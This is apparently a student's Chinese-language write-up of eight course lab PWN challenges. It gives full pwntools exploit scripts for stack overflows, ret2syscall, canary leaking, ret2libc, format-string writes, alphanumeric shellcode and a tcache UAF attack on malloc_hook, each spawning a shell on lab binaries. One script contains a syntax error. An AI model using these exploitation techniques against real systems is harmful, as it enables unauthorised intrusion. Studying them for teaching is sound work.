某校网安实践(三)|PWN

1

简单的栈溢出覆盖变量

from pwn import*
from LibcSearcher import*
#连接远程
context.log_level = 'debug'
#p=remote("10.12.153.73:10084",28165)
p=process("/home/monke/vmcourse_pwn/1/pwn.bin")
p.sendlineafter("name:",b"123")
payload=cyclic(248)+p64(20150972)
p.sendlineafter("comment:",payload)
p.interactive()

2

ret2syscall

from pwn import*
context(arch="amd64", os="linux", log_level="debug")
# Load the ELF file and execute it as a new process.
p=remote("10.12.153.73",10298)
#p = process("/home/monke/vmcourse_pwn/2/pwn.bin")
offset=64+8
pop_rax =0x40117e
pop_rdi = 0x401180
pop_rdx =0x401183
pop_rsi_r15=0x401271
binsh = 0x404040
syscall=0x401185 
payload = b'a'*offset
payload += p64(pop_rax)+p64(0x3b)
payload += p64(pop_rdi)+p64(binsh)
payload += p64(pop_rsi_r15)+p64(0)+p64(0)
payload += p64(pop_rdx)+p64(0)
payload += p64(syscall)
p.sendlineafter('syscall?\n',payload
p.interactive()

3(泄露canary)

由上图可以看出,的确开启了canary,canary的值是8字节的v2,与变量s相邻,第一个read可以读取48B赋值给s,也就存在栈溢出,s可以溢出覆盖到v2。

利用printf不遇到\x00不终止的特点,如果把v2(即canary)的最低字节\x00覆盖了,就能在打印s时候把v2打印出来,然后减去用来覆盖\x00的那一字节的值,就能得到v2原值,也就拿到了canary。在小端存储中,\x00这一字节是与s相邻的。

所以:

payload1=b'a'*40
p.sendlineafter('B!!!\n',payload1)
sendline会自动加上回车,也就是回车会覆盖掉\x00,回车\n的值是0xa。
p.recvuntil(b'a'*40)
canary=u64(p.recv(8))-0xa

这样就拿到了canary,接下来就是常规ROP了.

from pwn import*
context(arch="amd64", os="linux", log_level="debug")
# Load the ELF file and execute it as a new process.
#p=remote("10.12.153.73",10354)
p = process("/home/monke/vmcourse_pwn/3/pwn.bin")
elf=ELF("/home/monke/vmcourse_pwn/3/pwn.bin")
pop_rdi = 0x4011de
ret=0x40101a
binsh = 0x404058
system=0x4010b0
#gdb.attach(p)
#利用printf没读到\0不截断的特点,泄露canary
payload1=b'a'*40
p.sendlineafter('B!!!\n',payload1)
p.recvuntil(b'a'*40)
canary=u64(p.recv(8))-0xa
#print(hex(canary))
payload = cyclic(40)+p64(canary)+p64(0)+p64(pop_rdi)+p64(binsh)+p64(0x40127e)
p.send(payload)
#gdb.attach(p)
p.interactive()

4

进来看一眼main函数感觉没啥漏洞

但是有两个后门函数

点进init初始化函数:

文心解读:

所以想办法触发浮点数异常就能跳到backdoor:

a = 2147483648 b = -1

或 : a =-2147483648 b = -1

都能触发,如图:

触发后进入backdoor函数,简单栈溢出到getshell后门函数就行:

这里还得注意下x64中16字节对齐的问题,溢出的88字节不够对齐16字节,所以还得来个ret补一下

payload=cyclic(88)+p64(ret)+p64(elf.sym[“getshell”])

完整exp:

from pwn import*

context(arch="amd64", os="linux", log_level="debug")

# Load the ELF file and execute it as a new process.

#p=remote()

p = process("/home/monke/vmcourse_pwn/4/pwn.bin")

elf=ELF("/home/monke/vmcourse_pwn/4/pwn.bin")

ret=0x400646

p.sendlineafter('key :',b"-2147483648")

p.sendlineafter('key :',b"-1")

payload=cyclic(88)+p64(ret)+p64(elf.sym["getshell"])

p.sendlineafter('Hero, please leave your name :\n',payload)

p.interactive()

5

常规的ret2libc

from pwn import*
p=remote("10.12.153.73",10302)
#p = process("/home/monke/vmcourse_pwn/5/pwn.bin")
elf=ELF("/home/monke/vmcourse_pwn/5/pwn.bin")
context(arch="amd64", os="linux", log_level="debug")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
main_addr=elf.sym["main"]
pop_rdi=0x40117e
ret=0x40101a

payload=cyclic(64+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

p.sendlineafter('Go!!!',payload)
puts = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))

print(hex(puts))

libc=ELF("/home/monke/vmcourse_pwn/5/libc.so.6")
libcbase=puts-libc.sym['puts']
system=libcbase+libc.sym['system']
binsh = libcbase + next(libc.search(b"/bin/sh"))
#libc=LibcSearcher("puts",puts)
#libcbase=puts-libc.dump('puts')
#system=libcbase+libc.dump('system')
#binsh=libcbase+libc.dump('str_bin_sh')
print(hex(system))
print(hex(binsh))

payload=cyclic(64+8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
p.sendlineafter('Go!!!',payload)
p.interactive()

6 格式化字符串

情景是攻击一条龙,chendian可以加血,attack可以攻击,但是没打过就退出程序了,分析源码发现打赢了也无事发生:

关键函数是talk函数,有格式化字符串漏洞:

并且发现了后门:

本题没开启PIE,所以就很简单了,覆盖返回地址成后门函数地址就行。

断点打在printf,可以看到栈结构中有三个ret,从上到下分别是printf的ret,game的ret和main函数的ret,通常都是修改game的ret而不是printf的ret,避免在需要多次用到printf的情况下出现错误。

然后就是从栈中找到某个地方存的值可以间接利用,通过动调可以得到基础偏移为7,而基础偏移处存的值恰好就在栈上,直接%p就能得到:

那么这个值离game的ret有多远呢?动调如图:

两者相隔0x40,不管基址怎么变,这个值是固定的.

所以先%p泄露出间接地址,然后加0x40就能得到game函数的ret在栈上的地址。

然后对它进行修改,看一下IDA,可以发现这几个函数只有后面两字节有差别:

那就修改后两字节就行,而且本题没开PIE,直接用后门函数success的地址就行,0x08049317 ,后两字节是0x93和0x17,注意小端存储,所以game_ret_addr应该改为0x17,也就是23;game_ret_addr+1应该改为0x93,也就是147.

为了避免计算地址造成的偏移把地址放后面

所以

payload1=b'%23c%k$hhn'+p32(game_ret_addr)

payload2=b'%147c%k$hhn'+p32(game_ret_addr+1)

接下来算k应该是多少,四个字母是一个单位,假设k是1位数字,那么%23c%k$hhn就是10个字母,%147c%k$hhn就是11个,与4对齐就是12,偏移就是12/4=3,加上原来的偏移就是10,k是2位数字了,与原来的1位冲突。

那就假设k是两位数,两个对齐之后是12,12/4=3,k=7+3=10,刚好符合。%147c%10$hhn刚好12位不用补齐,%23c%10$hhn是11位,在后面加上一个字母补齐就行:

%23c%10$hhnA

也可以动调来看:

发现前者是空,右边却有值了,说明被占用了:

一直测到11发现没被占用:

那偏移就是11-1=10(因为%10$p占用了10)

所以

payload1=b'%23c%10$hhn'+p32(game_ret_addr)

payload2=b'%147c%10$hhn'+p32(game_ret_addr+1)

完整exp:

from pwn import*

context.log_level="debug"

p = remote("10.12.153.73",12028)

#p = process("/home/monke/vmcourse_pwn/6/pwn.elf")

#leak

payload=b"%p"

p.sendlineafter("choice: \n",b'3')

p.sendlineafter('talk: \n',payload)

p.recvuntil("said: \n")

addr=p.recv(10)

addr=int(addr,16)

game_ret_addr=addr+0x40

payload1=b'%23c%10$hhna'+p32(game_ret_addr)

payload2=b'%147c%10$hhn'+p32(game_ret_addr+1)

p.sendlineafter("choice: \n",b'3')

p.sendlineafter('talk: \n',payload1)

p.sendlineafter("choice: \n",b'3')

p.sendlineafter('talk: \n',payload2)

p.sendlineafter("choice: \n",b'4')

#gdb.attach(p)

p.interactive()

7(纯字符数字shellcode)

上图是main函数,单个读取输入并写入给v7,最后用mprotect给v7可执行权限并当作函数执行。所以写入shellcode即可,但是注意在读取单个字符时会进行检测:

if ( !isalnum(buf) )

break;

判断是否是字母数字,所以得写入纯字母数字shellcode,一般shellcode的形式都是/x73/x80/xff这样的,所以肯定不行。

这里用一个工具,ae64来生成纯字母数字shellcode:

https://github.com/veritas501/ae64

下载好后在python脚本里面导入:

from ae64 import AE64

然后

payload= AE64().encode(asm(shellcraft.sh()))

即可生成

完整exp:

from pwn import*

from ae64 import AE64

context(arch="amd64", os="linux", log_level="debug")

p = process("/home/monke/vmcourse_pwn/7/pwn.bin")

payload= AE64().encode(asm(shellcraft.sh()))

p.sendlineafter('> ',payload)

p.interactive()

8(unsorted bin leak,利用UAF打tcache bin attack,劫持malloc_hook为one_gadget)

经典菜单题:

add函数,其中有两个指针数组

PTR_LIST[v1]指向malloc的堆块

SIZE_LIST[v1]存储了对应堆块的大小:

delete函数,存在UAF:

show函数,打印指定PTR[n]指针指向的chunk的内容:

edit函数,修改指定PTR[n]指针指向的chunk的内容,没有溢出:

审计了一圈只有一个UAF漏洞。没事足够了。

思路:

考虑到libc给的2.27版本,可以用unsorted bin来泄露libc基址,算出malloc_hook和one_gadget的真实地址,然后通过UAF来打tcache bin attack,劫持malloc_hook并修改成one_gadget,这下再次调用malloc函数时就能get shell

本地测试需要用patchelf来改一下源程序的libc库,不然libc库不对本地打不了https://blog.csdn.net/huzai9527/article/details/118558784

但是我在本地改失败了,改之后程序运行不了,那就只能硬着头皮继续做了。

1.unsorted bin 泄露基址

原理如下:

简单来说,当unsorted bin中只有一个chunk时,这个chunk的fd和bk指针都指向main_arena的某个偏移处,这个偏移按照通常经验来说是96,也可以调试证实一下(这里libc库错误暂时还没影响到):

添加一个大小1280B的chunk0和一个32B的chunk1(后面这个主要是防止在free chunk0时候它跟top chunk合并),然后把chunk0 free掉,此时它进入了unsorted bin,此时堆内存如下:

查看fd指针,发现指向main_arena+96处:

反复重启程序测试几遍,会发现虽然基地址一直变,但是这个偏移是不变的

所以这时候show chunk0,就会把fd指针打印出来,这个值减去96就能得到main_arena的真实地址,然后再动态调试找出main_arena的偏移,就能算出libc基址,也就能算出malloc_hook、free_hook和onegadget的真实地址,但是正如我前面所说,本题本地调试加载的是错误的libc库,所以动态调试行不通,如图所示:

按照往常经验,main_arena-0x10就是malloc_hook的地址,但是显然动态调试出来不是,这就是因为libc库加载错了

所以就只能把libc文件拖入IDA来静态调试找偏移

(参考https://blog.csdn.net/qq_33976344/article/details/119941461):

首先找到malloc_trim函数:

对比源码,找到main_arena地址:

可以看到,上图红框就是main_arena地址,点进去:

可以发现malloc_hook就在上方偏移0x10处

把我们泄露的地址(main_arena+96)记为main_arena_96,则

main_arena=main_arena_96-96

malloc_hook=main_arena-0x10=main_arena_96-96-0x10

libc基址也能算出来了,

libc_base = malloc_hook_addr – libc.sym[‘__malloc_hook’]

onegadget的地址也能算出来了,onegadget简单来说就是在libc库里面自带的可以getshell的片段,直接调用就能getshell,用one_gadget工具来找:

按照经验之谈,用最后一个最稳妥,不信可以试试(

所以onegadget=libc_base+0x10a2fc

此时我们已经拿到了malloc hook、onegadget的真实地址,

到这一步的exp:

add(0,0x410) #0

add(1,0x20) #1

delete(0)

show(0)

io.recvuntil(b'content: ')

main_arena_add96=u64(io.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))

print(hex(main_arena_add96))

main_arena = main_arena_add96 - 96

malloc_hook_addr = main_arena-0x10

libc_base = malloc_hook_addr - libc.sym['__malloc_hook']

print(hex(libc_base))

one_gadget = libc_base + 0x10a2fc

success('one_gadget: '+hex(one_gadget))

接下来就是如何劫持malloc函数成onegadget了,由于只有一个UAF漏洞能用,考虑tcache bin attack

原理是,先把chunk1 free掉,由于UAF的存在可以把它的fd指针改成任意地址,此处改成malloc_hook地址,此时tcache bin的链表上有两个chunk,一个是free掉的chunk1,一个是malloc_hook,然后再申请两个chunk,记为chunk2和chunk3,大小一致的话,chunk2就会拿到chunk1的地址,chunk3就会拿到malloc_hook的地址,此时再edit chunk3,就能把malloc_hook的内容改成想要的onegadget,然后再调用malloc函数就能调用onegadget,拿到shell:

(需要注意的是,tcachebin 的fd指针指向下一个chunk的数据部分,而不是像fastbin一样指向chunk头:

)

这一步的exp:

delete(1)

edit(1,p64(malloc_hook_addr))

add(2,0x20)#2

add(3,0x20)#3

edit(3,p64(one_gadget))

#gdb.attach(io)

io.sendlineafter(b"choice >> ", b"1")

io.sendlineafter(b'index: ',b'10')

io.sendlineafter(b'size: ',b'10')

io.interactive()

完整exp:

from pwn import *

libc=ELF('/home/monke/vmcourse_pwn/8/libc-2.27.so')

context.log_level='info'

io=remote("10.12.153.73",10504)

#io=process('/home/monke/vmcourse_pwn/8/pwn.bin')

def add(index,size):

io.sendlineafter(b'Your choice >> ',b'1')

io.sendlineafter(b'index: ',str(index))

io.sendlineafter(b'size: ',str(size))

def delete(index):

io.sendlineafter(b'Your choice >> ',b'2')

io.sendlineafter(b'index: ',str(index))

def show(index):

io.sendlineafter(b'Your choice >> ',b'3')

io.sendlineafter(b'index: ',str(index))

def edit(index,content):

io.sendlineafter(b'Your choice >> ',b'4')

io.sendlineafter(b'index: ',str(index))

io.sendlineafter(b'content: ',content)

add(0,0x410) #0

add(1,0x20) #1

delete(0)

show(0)

io.recvuntil(b'content: ')

main_arena_add96=u64(io.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))

print(hex(main_arena_add96))

main_arena = main_arena_add96 - 96

malloc_hook_addr = main_arena-0x10

libc_base = malloc_hook_addr - libc.sym['__malloc_hook']

print(hex(libc_base))

one_gadget = libc_base + 0x10a2fc

success('one_gadget: '+hex(one_gadget))

delete(1)

edit(1,p64(malloc_hook_addr))

add(2,0x20)#2

add(3,0x20)#3

edit(3,p64(one_gadget))

#gdb.attach(io)

io.sendlineafter(b"choice >> ", b"1")

io.sendlineafter(b'index: ',b'10')

io.sendlineafter(b'size: ',b'10')

io.interactive()

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇